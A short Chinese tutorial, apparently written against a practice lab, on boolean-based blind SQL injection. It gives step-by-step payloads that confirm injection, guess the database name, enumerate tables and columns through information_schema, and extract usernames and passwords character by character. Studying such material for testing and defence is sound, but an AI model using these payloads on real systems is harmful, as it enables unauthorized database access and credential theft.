sql布尔盲注

接收id的值，直接带入查询，如果存在即返回 users is exists in the database，否则显示 users id is missing。
像这种只有正确与错误页面。页面不会显示数据库里任何内容，如果存在注入，称为盲注。
盲注入的方式有两种：一种是布尔型盲注入，另外一种是延时注入。

判断条件：
1.没有回显，判断使用单引号还是双引号，使他闭合

布尔型盲注入用到的函数：
SUBSTRING substring(str,i,n)字符串截取，第一个参数是字符串，第二个参数是开始截取位置，第三个是截取的长度。

盲注判断是否存在注入
1' select if(1=1,1,0)--+

2.判断数据库长度
1' and if(length(database())=4,1,0)--+

1' and if(substring(database(),1,1)='d',1,0)--+    爆库
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_

3.判断数据表长度
1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",1,0)#       爆表

获取第一张表：
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0)--+

获取第二张表
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1)='u',1,0)--+

4.爆字段
1' and if(substring((select group_concat(column_name) from information_schema.columns where table_name = 'users'), 1, 1) = 'g', 1, 0)#

5.爆数据
1' and if(substring((select group_concat(user,password) from users), 1, 1) = 'g', 1, 0)#